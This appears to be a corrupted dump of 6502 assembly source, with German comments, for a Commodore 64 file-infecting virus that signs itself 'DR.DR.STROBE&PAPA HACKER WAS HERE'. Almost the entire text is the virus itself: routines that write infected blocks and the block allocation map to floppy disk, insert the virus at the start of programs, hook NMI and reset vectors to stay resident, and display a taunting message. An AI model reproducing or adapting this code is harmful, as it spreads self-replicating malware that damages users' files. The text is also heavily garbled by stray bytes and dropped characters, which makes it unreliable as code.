M UPDATE.C+..LDA .E.P+..JSR PAPA.|+..LDA
BAM..+..JSR PAPA..+..LDA BAM.1..+(.JSR
PAPA..+2.LDA BAM.2.A+<.JSR OUTUNL..+F.LD
X #4 ;SCHREIBE BAM AUF..+P.LDY #0
;DISK..,Z.LDA #1..,D.JSR MEM.Y.9,N
.LDA #$90 ;_______BLOCK.WRITE.Z,X.JS
R OUTUNL ;KOPIERE START..},..JSR ASK
;BLOCK NACH .ZTEN..,..LDX PUFFER ;
GEFUNDEN .IEN..,..LDY #0 ;BLOCK..,
.LD. #2.N,..JSR MEM.Y..,..LDA TRACK
;LESE BLOCK EIN..,..JSR PAPA..-H.LDA SEC
.R..-R.JSR OUTUNL.%-..LDX JOB.0-..LDY #0
.;-..LDA #1.I-..JSR MEM.Y.J-..LDA #$80
;_______BLOCK...Y-..JSR OUTUNL..-..JS
R ASK..-".LDX PUFFER..-,.LDY #0..-6.LDA
#2.M-@.JSR MEM.Y ;SCHREIBE BLOCK AN..-
J.LDA VTRACK ;NEUE STELLE..-T.JSR PAPA
...^.LDA VSEC.BLOCKS.1...H.JSR OUTUNL.).
R.LDX JOB.4.|.LDY #0.?...LDA #1.M...JSR
MEM.Y.R...LDA #$90 ;_______BLOCK.WRI
TE.....JSR OUTUNL.....JSR ASK.....LDX #0
;VIRUS AM ANFANG DES.X.B.STX COUN
T ;PROGRAMMS EINBAUEN...L.LDA #.START
.4...V.STA X../..LDA #.START.4../..STA Y
../..LDA #0.%/..STA Z.5/. JUMP8 LDX Z.A/
. LDY ADR.F/. LDA #32 ;32 BYTES IN
PUFFER../& JSR MEM.Y ;SCHREIBEN../0 JU
MP7 LDY Z../: LDA (X),Y../D JSR PAPA../N
INC Z../X LDA Z.N/B . #%11111../L BNE J
UMP7../V JSR GARFIELD..0. LDA Z ;
KOMP.TER BLOCK IN.80. BNE JUMP8 ;PUFF
ER GESCHRIEBEN...F0. LDY COUNT.U0. BNE J
UMP17.{0. LDX #2 ;K.RIGIERE STARTA
DR...0. LDY ADR ;IM ERSTEN BLOCK..0
. LDA #2..0F JSR MEM.Y.E0P LDA BASICS.R0
Z JSR PAPA..0. LDA BASICS.1..0. JSR OUTU
NL..1. JUMP17 LDX #0..1.!LDY ADR.,1.!LDA
#2 ;LINKBYTES.H1.!JSR MEM.Y ;K.
RIGIEREN.W1 !LDA VTRACK.D1*!JSR PAPA.R14
!LDY COUNT..1>!LDA VSEC,Y..1H!JSR OUTUNL
..1R!LDX PUFFER ;BLOCK AUF DISK.M1\!LD
Y #0 ;SCHREIBEN.X1F!LDA #2..1P!JSR
MEM.Y..1Z!LDY COUNT..2.!BNE JUMP11..2.!
LDA TRACK..2.!.BYTE $2C.52.!JUMP11 LDA V
TRACK.B2.!JSR PAPA.P2.!LDY COUNT.`2.!LDA
SEC.R,Y.O2J!JSR OUTUNL.{2T!LDX JOB..2.!
LDY #0..2.!LDA #1..2.!JSR MEM.Y.D2.!LDA
#$90 ;_______BLOCK.WRITE.S2."JSR OUT
UNL..2."JSR ASK..2."CLC..2$"LDA X..2."AD
C #254..38"STA X..3B"LDA Y..3L"ADC #0.'3
V"STA Y.L3`"INC COUNT ;FALLS NOCH BLO
ECKE.S3J"LDX COUNT ;ZU SCHREIBEN, WEI
TER..3T"CPX #BLOCKS..3~"BEQ BYE ;HI
PPIE!FERTIG SAN MA..3."JMP JUMP8.Z3(#;WI
RD EIN VIRUS .IGELASSEN.....3*&BYE LDA #
$60..34&STA SEK..4>&JSR FJS..4H&LDA #$6F
..4R&STA SEK.'4\&JSR S..44F&LDA #"I".C4P
&JSR OUTUNL.P4Z&LDX #$00.P4.&JUMP14 PLA
;SPEICHERSTELC..4.&STA MEM,X ;RESTA
URIEREN..4.&INX..4.&CPX #14.BLOCKS..4.&B
NE JUMP14.F4.&LDX #$00.U4.&JUMP15 PLA..4
J&STA PAR,X..4T&INX..4.&CPX #$06..5.&BNE
JUMP15..5.&JSR CALL..5.&PLA.+5.&STA STA
TUS.N5.'RTS ;VIRUSPROGRAMM .E.J
5.';.....IECOUT.UN.........~5.'OUTUNL JS
R PAPA..5$'JMP GARFIELD..5.*;......BSELE
CT.............P5.+BSELECT ASL ;SELEKTIE
RT EINEN..5.+ASL ;TRACK DER BAM.
.5.+TAX..6 +LDY #7..6*+LDA #4..64+JMP ME
M.Y.:6..;......STALK...............L6..S
TALK LDA DEV.[6..JSR SASKIA..6..LDA SEK
;PRIMAER.&SEKUNDAER...6./JMP CHRISTI
NE;ADRESSE TALK..6H2;......S............
....J6R2S. LDA DEV.W6.2JSR NEMO..6.2LDA
SEK ;PRIMAER.&SEKUNDAER...7.2JMP THO
MAS ;ADRESSE .EN.87.6;......ASK........
.........X7.6ASK LDA #"R";UEBERPRUEFE OB
.U7D6STA DO ;JOB AN DISK..7N6A1 LDX
#0 ;SCH. AUSGEFU.HRT..7X6A2 NOP
;IST..7.6NOP..7.6NOP.D7.6NOP.L7.7INX.W7.
7BNE A2..7.7LDX JOB..7.7LDY #0..7(7LDA #
1..827JSR MEM.Y..8<7JSR GARFIELD.&8F7JSR
STALK.28P7JSR BHP.:8Z7PHA.H8D7JSR SUHAL
.P8N7PLA.[8X7. #$80.8.7BNE A1 ;NEI
N, DANN NOCHMAL..8.7LDA #"W"..8.7STA DO.
.8 7RTS..8.:;......MEM.Y.AKKU.........S8
.:MEM.Y PHA ;"M-"...8.:TYA ;SPE
ICHERSTELLE DO...9.:PHA ;X...9.:
TXA ;Y..29J:PHA ;A.O9T:J
SR S. ;AN FLOPPY S.EN.\9.:LDA #"M".I9.
:JSR PAPA.V9.:LD. #"-"..9.:JSR PAPA..9.;
LDA DO..9.;JSR PAPA..9.;PLA..9$;JSR PAPA
..9.;PLA.E98;JSR PAPA.M9B;PLA.Z9L;JMP PA
PA..9.>;....IECLINK................:.>;I
ECBUS.ROUTINEN UEBER LINK.):.>;AUSFUEHRE
N.M:.>BLACKBIRD JSR MAKE : JSR SETPAR.U:
.>RTS.X:.>HAC.OSH JSR MAKE : JSR SETNAME
..:.>RTS..:.>HANS JSR MAKE : JSR IE
C...:.>RTS.L:F>THOMAS JSR MAKE : JSR
SEK..T:P>RTS..:Z>CHRISTINE JSR MAKE : JS
R SEKTALK..;.>RTS. ;.>NEMO JSR MAKE
: JSR ..(;.>RTS.J;.?SASKIA JSR MAKE
: JSR TALK.R;.?RTS.S;.?GARFIELD JSR MAK
E : JSR UN..{; ?RTS..;*?SUHAL JSR MA
KE : JSR UNTALK..;4?RTS.K;>?PAPA JS
R MAKE : JSR IECOUT.S;H?RTS..;R?BHP
JSR MAKE : JSR IEC...;\?RTS..<F?FJS
JSR MAKE : JSR .$<P?RTS.A< N;..BETR
IEBS.TEM.AUFRUF...D<*NMAKE PHP ;PROZE
SS..REGISTER.|<4NPHA ;RETTEN..<>
NTXA..<HNPHA..<RNTYA..<\NPHA..<FNTSX
;RUECKKEHR.ADRESSE.Z<PNTXA
;BERECHNEN..<ZNCLC..<.NA.C #5..<.NTAX..=
.NLDA $0100,X ;..=.NSTA MEM1 ;MERKEN.
1=.NCLC ;.Q=.NADC #3 ;UND K
.RIGIEREN.A=.NSTA $0100,X..=JNPHP
;DAS GLEICHE MIT..=TNINX ;DEM
LO.BYTE..=.NPLP..=.NLDA $0100,X.D=.NSTA
MEM2.O=.NADC #0..=.OSTA $0100,X..=.OLDY
#3..=.OM1 LDA (MEM1),Y.!>$OSTA LINK.1,Y;
PROGRAMMTEIL NACH.@>.ODEY ;LINK
KOPIEREN.K>8OBNE M1.P>BOPLA ;REG
ISTER REPARIEREN.X>LOTAY..>VOPLA..>`OTAX
..>JOPLA..>TOPLP..>~OJMP LINK.4 ;UND AU
SFUEHREN.V>0U;.......TEM................
>:U.TEM LDA $FFFA..?DUPHA ;NMI.V
EK.R RETTE...?NULDA $FFFB ;./?XUPHA
;.N?BULDA #..;UND AUF RTI SETZE..`
?LUSTA $FFFA ;.L?VULDA #...Z?.USTA $FF
FB..?.ULDA MEM1 ;..?.UPHA ;..
?.ULDA MEM2 ;.S?.UPHA ;DIVERS
E SPEICHER...?.ULDA MEM3 ;STELC RETTE
N.....@.UPHA ;..@FULDA MEM4 ;
.*@PUPHA ;.K@ZUTXA ;X.Y
V.UEBERGEH..C@.UPHA ;RETTEN.K@.U
TYA.S@.UPHA..@.UJSR REINST ;ZEIGER UEBE
RPRUFEN..@.UPLA ;X.Y WIEDER HOC.
.@.UTAY.G@.UPLA.O@.UTAX..@.VLDA IRQP.1..
@.VPHA..@.VLDA IRQP..@.VPHA..A.VLDA #.IR
QE ;.ERRUPTS.3A.VSTA IRQP ;ENTSCHAER
FEN.BA VLDA #.IRQE.QA*VSTA IRQP.1.`A4VLD
A #.NMIE.MA>VSTA NMIP.|AHVLDA #.NMIE..AR
VSTA NMIP.1..ASVTXA..ATVPHA ;X.Y
RETTEN.AAUVTYA ;.SAVVPHA
;..A\VTSX ;PARAMETER AUFG.D..B
FVTXA ;DES STACKS BERECHNEN.-BPV
CLC ;.?BZVADC #16 ;.GB.VTAX.
OB.VCLC.NB.VLDA $0100,X ;LO.ZEIGER HOC..
B.VADC #1 ;RUECKSP.G NEU..B.VSTA ME
M1 ;BERECHNEN UND.GB.VSTA $0100,X ;SP
EICHERN.YB.VPHP ;..BJVINX
;..CTVPLP ;DAS GLEICHE MIT HI.
!C.VLDA $0100,X ;.3C.VADC #0 ;.EC.V
STA MEM2 ;.WC.VSTA $0100,X ;.BC.WLDY
#0.SC.WLDA (MEM1),Y..C.WCMP #128..C$WBEQ
....C.WCMP #64..C8WBEQ ....CBWCMP #16..
CLWBEQ .NMI.KCTW.. JSR MAKE..C~WLDA NMIT
AH ;NMI.TIMER ABFRAGE..C.WBEQ .. ;..D.
WJSR MAKE ;. D.WLDA NMITBH ;.+D.WBEQ
...ED.WPLA ;REGISTER.CD.WTAY
;RESTAURIEREN.KD.WPLA.SD.WTAX..D.W
PLA ;.ERUPTS WIEDER..D.WSTA IRQP
;RE.GANISIERN..DDWPLA.HDNWSTA IRQP.1
.WDXWLDA #.NMI1..D.WSTA NMIP..D.WLDA #.N
MI1..E.WSTA NMIP.1. E(X.. PLA ;DIVERSE S
PEICHER..7E2XSTA MEM4 ;STELC.SE<XPLA
;REPARIEREN.`EFXSTA MEM3.HEPXPLA
.UEZXSTA MEM2.}EDXPLA..ENXSTA MEM1..EXXP
LA ;NMIVEK.R REPARIEREN..E.XSTA
$FFFB.EE.XPLA.SE.XSTA $FFFA..E XRTS..E.Y
;....VIRUS...ROUTINE...L..F"Y.. LDY #1.
.F,YLD. (BASICS),Y.<F6YBEQ .. ;UEBERPRU
EFE OB VIRUS.^F@YLDY #31 ;SCH. IM SP
EICHER.SFJYLDX #26 ;IST..FTYL1 LDA (
BASICS),Y..F^YCMP VIRUS,X..FHYBNE .. ;NE
IN, DANN VERSEUCHE.BFRYDEY.JF|YDEX.UF.YB
NE L1..F.YPLA ;.ADRESSE HOC..G.Y
STA .E.1..G.YPLA..G.YSTA .E.9G.YJSR MOVE
;PROGRAMM IM SPEICHER.SGBYLDA .E ;
VERSCHIEBEN.[GLYPHA.RGVYLDA .E.1 ;.ADRES
SE..G.YPHA ;K.RIGIEREN..G.YJMP .
...G.};....VIRUS...ROUTINE.....RG.}.. LD
A DEV ;UEBERPRUEFE..G.}CMP #$08 ;
OB DEVICE FLOPPY..H.}BCC .. ;IST..H
(}JSR DOIT.;H2}JMP .. ;PROGRAMM VERSEUC
HEN.[H..;....VIRUS.NMI.ROUTINE......MH..
.NMI JSR MAKE..H..JSR . ;..TASTE GEDRU
ECKT. H..BNE .. ;...NEIN..H..JSR MAKE.LH
..JSR $FD15 ;VEK.REN SETZEN..H$.JSR REI
NST ;VIRUS IN.T..I..LDX #$01 ;STACK "P
UTZEN"..I8.TXS..IB.JSR MAKE.>IL.JMP $FE6
9 ;S.DARTNMI V.SETZEN.^IP.;..VIRUS.RESE
T.ROUTINE......TIZ..RESET JSR RELINK.I.
.LDX #0..I..JSR MAKE..I..STX $D016 ;.G
INAL.N "RESET"..I..JSR MAKE.II..JSR $FDA
3.VI..LDA #$00..I .TAY..I*..R STA $0002,
Y..J4.STA $0200,Y ;PAGE 0,2,3 LOESCHEN.&
J>.STA $0300,Y..JH.INY.9JR.BNE .R.HJ\.JS
R RELINK.UJF.JSR MAKE.TJP.JSR $FD5F ;S
PEICHER INIT..JZ.JSR MAKE..J..JSR $FD15
;VEK.REN INIT..J..JSR REINST..J..JSR M
AKE..J..JMP $FCFB ;RESET N.MAL WEITER.
.J@.;...VIRUS LINK PROGRAMM......KJ.EXTE
RN NOP : NOP : NOP.@KT.RTS ;EXTE
REN BEFEHL AUSF.._K^.JSR ROMRAM ;S.DART
K.FIG..LKH.JSR LINK.TKR.SEI..K|.IROMRAM
PHP ;REGISTER RETT.N..K..PHA ;.
JK..LDA 1 ;OS UND IO EIN.AUS.TK..E
. #7..K..IQUIT STA 1..K..PLA..K..PLP..KB
.RTS..LL.I. JSR ..)LV.JSR .IT :
.BYTE 128.1L..RTS.?L..I. JSR ..^L..JSR
.IT : .BYTE 64.FL..RTS..L..IBWS1
JSR .IT : .BYTE 32..L..IBWS2 JMP BWS
1..L..INMI1 JSR .IT : .BYTE 16.LL&.INM
I2 JMP NMI1.YL4.I.IT PHP..L>.PHA..LH.CH
ECK LDA NMITAH..MR.. NMITBH ;NMI.TIMER
ABFRAGEN.&M\.BEQ CHECK..MF.SEI.8MP.LDA 1
.@MZ.PHA.KM..LDA #0.UM..STA 1.BM..JSR .T
EM.OM..I.IT PLA.|M..JMP QUIT..M..INAME .
F "*" ; FICAME..M( IRESET LDA #$2F : ST
A $00.MM2 LDA #$00 : STA $01..M< JMP .R
ESET..MG.;.............................N
H.. RTI ;NMI.RUECKSP.G.8NACROMRAM . IRO
MRAM.EXTERN.LINK.UNBC.IT . I.IT .EXTERN
.LINK.RNCC.IT . I.IT .EXTERN.LINK..NDCR
ESET . IRESET .EXTERN.LINK..NECBWS2 .
IBWS2 .EXTERN.LINK.UNFCBWS1 . IBWS1
.EXTERN.LINK..NGCNMI2 . INMI2 .EXTER
N.LINK..OHCNMI1 . INMI1 .EXTERN.LINK.
2OIC. . I. .EXTERN.LINK.MOJC. . I.
.EXTERN.LINK.NOKCNAME . INAME .EXTER
N.LINK..OLCQUIT . IQUIT .EXTERN.LINK.
.OMCRESETV .BYTE .RESET,.RESET..ONC.BYTE
$5E,$FE..OOC.BYTE $C3,$C2,$CD,$38,$30..
OPC;......VIRUS.MELDET.SICH...C..PQCCALL
LDA $9D ;DIREKTMODUS.(PRCBPL C4.HPSCLDA
$A2 ;LOW.BYTE ZEIT.SPTCBPL C4.`PUC
JSR MAKE.~PVCLDA $D012 ;RASTERZEILE..
PWCBPL C4..PNCLDY #$00..PXCC3 LDA TEXT,Y
..P.CBEQ C1..P.CJSR MAKE..P.CJSR CHAROUT
;ZEICHENAUSGABE..P.CLDX #0..P.CC2 JSR
MAKE..Q.CINC $D020 ;RAHMENFARBE."Q.CI
NX.-QHCBNE C2.5QRCINY.@Q.CJMP C3.SQ.CC1
LDX COUNTER.EQ.CLDA COUNTER.1.RQ.CJSR MA
KE..Q.CJSR $BDCD ;NUMMER AUSGEBEN..Q.
CLDA #13 ;CR..Q.DJSR MAKE.QQ.DJSR C
HAROUT ;AUSGEBEN..Q.DC4 INC COUNTER..Q.
DBNE C6..R.DINC COUNTER.1..R.DC6 RTS..R.
DTEXT .BYTE 13.UR.D.F "DR.DR.STROBE&PAPA
HACKER WAS HERE!" : .BYTE 13..R"D.F "CO
PROGRAMMER: GARFIELD" : .BYTE 13..R'D.BY
TE 13.GR(D.F "HALLO DICKERCHEN, DIES IST
EIN ECHTER" : .BYTE 13..R)D.F "VIRUS!"
: .BYTE 13,13..S,D.F "SERIALNO.:" : .BYT
E 0..S6DCOUNTER .W.D 0.9S.... 254.BLOCKS
.START.2 : .. ..2.IS...BYTE $0,$0...
> CLICK IMAGE PREVIEW FOR FULL MODAL